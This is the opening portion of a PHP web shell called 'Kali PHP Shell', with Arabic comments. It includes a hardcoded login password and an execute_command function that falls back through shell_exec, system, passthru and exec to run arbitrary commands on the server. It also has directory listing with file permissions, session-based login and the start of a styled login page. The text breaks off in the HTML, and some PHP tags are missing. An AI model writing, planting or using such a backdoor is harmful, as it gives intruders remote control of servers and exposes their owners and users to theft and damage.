session_start();
error_reporting(0); // إخفاء جميع الأخطاء لأسباب أمنية - *أمانياً، لا تستخدم هذا في الإنتاج!*
// --- إعدادات الأمان ---
$password = "kali_root_123"; // *** هام: غيّر كلمة المرور هذه إلى كلمة قوية جداً وفريدة! ***
$shell_name = "Kali PHP Shell"; // اسم الشل المعروض
$default_command = "ls -la"; // الأمر الافتراضي الذي يتم عرضه في التيرمينال
// --- وظائف مساعدة ---
// وظيفة لتنفيذ أوامر الشل
function execute_command($cmd) {
if (function_exists('shell_exec')) {
return shell_exec($cmd . ' 2>&1');
} elseif (function_exists('system')) {
ob_start();
system($cmd . ' 2>&1');
return ob_get_clean();
} elseif (function_exists('passthru')) {
ob_start();
passthru($cmd . ' 2>&1');
return ob_get_clean();
} elseif (function_exists('exec')) {
$output = array();
exec($cmd . ' 2>&1', $output);
return implode("\n", $output);
} else {
return "Error: No command execution functions available on this server!";
}
}
// تحويل حجم الملف إلى صيغة قابلة للقراءة
function human_filesize($bytes, $decimals = 2) {
$sizes = ['B', 'KB', 'MB', 'GB', 'TB'];
$factor = $bytes > 0 ? floor((log($bytes, 1024))) : 0;
return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . ' ' . $sizes[$factor];
}
// جلب قائمة الملفات والمجلدات
function list_dir($dir) {
$files = @scandir($dir); // استخدام @ لإخفاء أخطاء الصلاحيات
if ($files === false) {
return false; // فشل القراءة
}
$list = [];
foreach ($files as $file) {
if ($file === '.' || $file === '..') continue;
$full = $dir . DIRECTORY_SEPARATOR . $file;
$list[] = [
'name' => $file,
'path' => $full,
'is_dir' => is_dir($full),
'size' => is_file($full) ? filesize($full) : 0, // 0 للمجلدات أو إذا فشل
'mtime' => date('Y-m-d H:i:s', filemtime($full)),
'perms' => substr(sprintf('%o', fileperms($full)), -4), // صلاحيات الملف
];
}
return $list;
}
// وظيفة أمان: التحقق مما إذا كان المسار ضمن دليل الشل الحالي أو فرعي منه
// هذه الوظيفة تستخدم للعمليات الحساسة مثل الحذف/التعديل لمنع التعديل خارج مجلد الشل
function is_safe_path($path, $base_dir) {
$real_path = realpath($path);
if ($real_path === false) {
return false; // المسار غير موجود أو لا يمكن الوصول إليه
}
// تأكد أن المسار الحقيقي يبدأ بالمسار الأساسي الحقيقي
// هذا يقيد العمليات مثل الحذف/التعديل داخل مجلد الشل فقط
return strpos($real_path, realpath($base_dir)) === 0;
}
// --- معالجة تسجيل الخروج ---
if (isset($_GET['action']) && $_GET['action'] === 'logout') {
session_destroy();
header("Location: " . $_SERVER['PHP_SELF']); // إعادة توجيه لنفس الملف
exit;
}
// --- معالجة المصادقة ---
if (isset($_POST['password'])) {
if ($_POST['password'] === $password) {
$_SESSION['logged_in'] = true;
// إعادة توجيه لمنع إعادة إرسال النموذج عند تحديث الصفحة
header("Location: " . $_SERVER['PHP_SELF']);
exit();
} else {
$error = "Incorrect password!";
}
}
// التحقق من تسجيل الدخول، إذا لم يكن، اعرض صفحة تسجيل الدخول
if (!isset($_SESSION['logged_in'])) {
<!DOCTYPE html>
<html lang="en">
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
Login - <?php echo htmlspecialchars($shell_name); ?> <title>Login - echo htmlspecialchars($shell_name); </title>
<!-- Google Fonts -->
<link href="https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&family=Ubuntu+Mono&display=swap" rel="stylesheet" />
<!-- Font Awesome for Icons -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css" integrity="sha512-SnH5WK+bZxgPHs44uWIX+LLJAJ9/2PkPKZ5QiAj6Ta86w+fsb2TkcmfRyVX3pBnMFcV7oQPJkl9QevSCWr3W6A==" crossorigin="anonymous" referrerpolicy="no-referrer" />
<style>
body { font-family: 'Roboto', sans-serif; background:#1A1A1D; color:#E0E0E0; display:flex; justify-content:center; align-items:center; height:100vh; margin:0; }
form { background:#28282B; padding:40px; border-radius:12px; box-shadow:0 0 30px rgba(0,0,0,0.8); text-align:center; }
h2 { color:#8A2BE2; margin-bottom:25px; font-size: 1.8em; }
input[type="password"] { width:280px; padding:15px; font-size:1em; border:1px solid #5A5A60; border-radius:8px; margin-bottom:20px; background:#3C3C41; color:#E0E0E0; box-shadow: inset 0 2px 5px rgba(0,0,0,0.3); }
input[type="password"]:focus { outline: none; border-color: #8A2BE2; box-shadow: 0 0 0 4px rgba(138, 43, 226, 0.3); }
button[type="submit"] { padding:15px 30px; background:#8A2BE2; border:none; border-radius:8px; color:#fff; font-size:1.1em; cursor:pointer; font-weight:600; transition: background-color 0.3s, transform 0.2s; }
button[type="submit"]:hover { background-color: #6A1EB6; transform: translateY(-2px); box-shadow: 0 5px 15px rgba(0,0,0,0.4); }
.error-message { color:#DC143C; margin-top:20px; font-weight: 500;}
</style>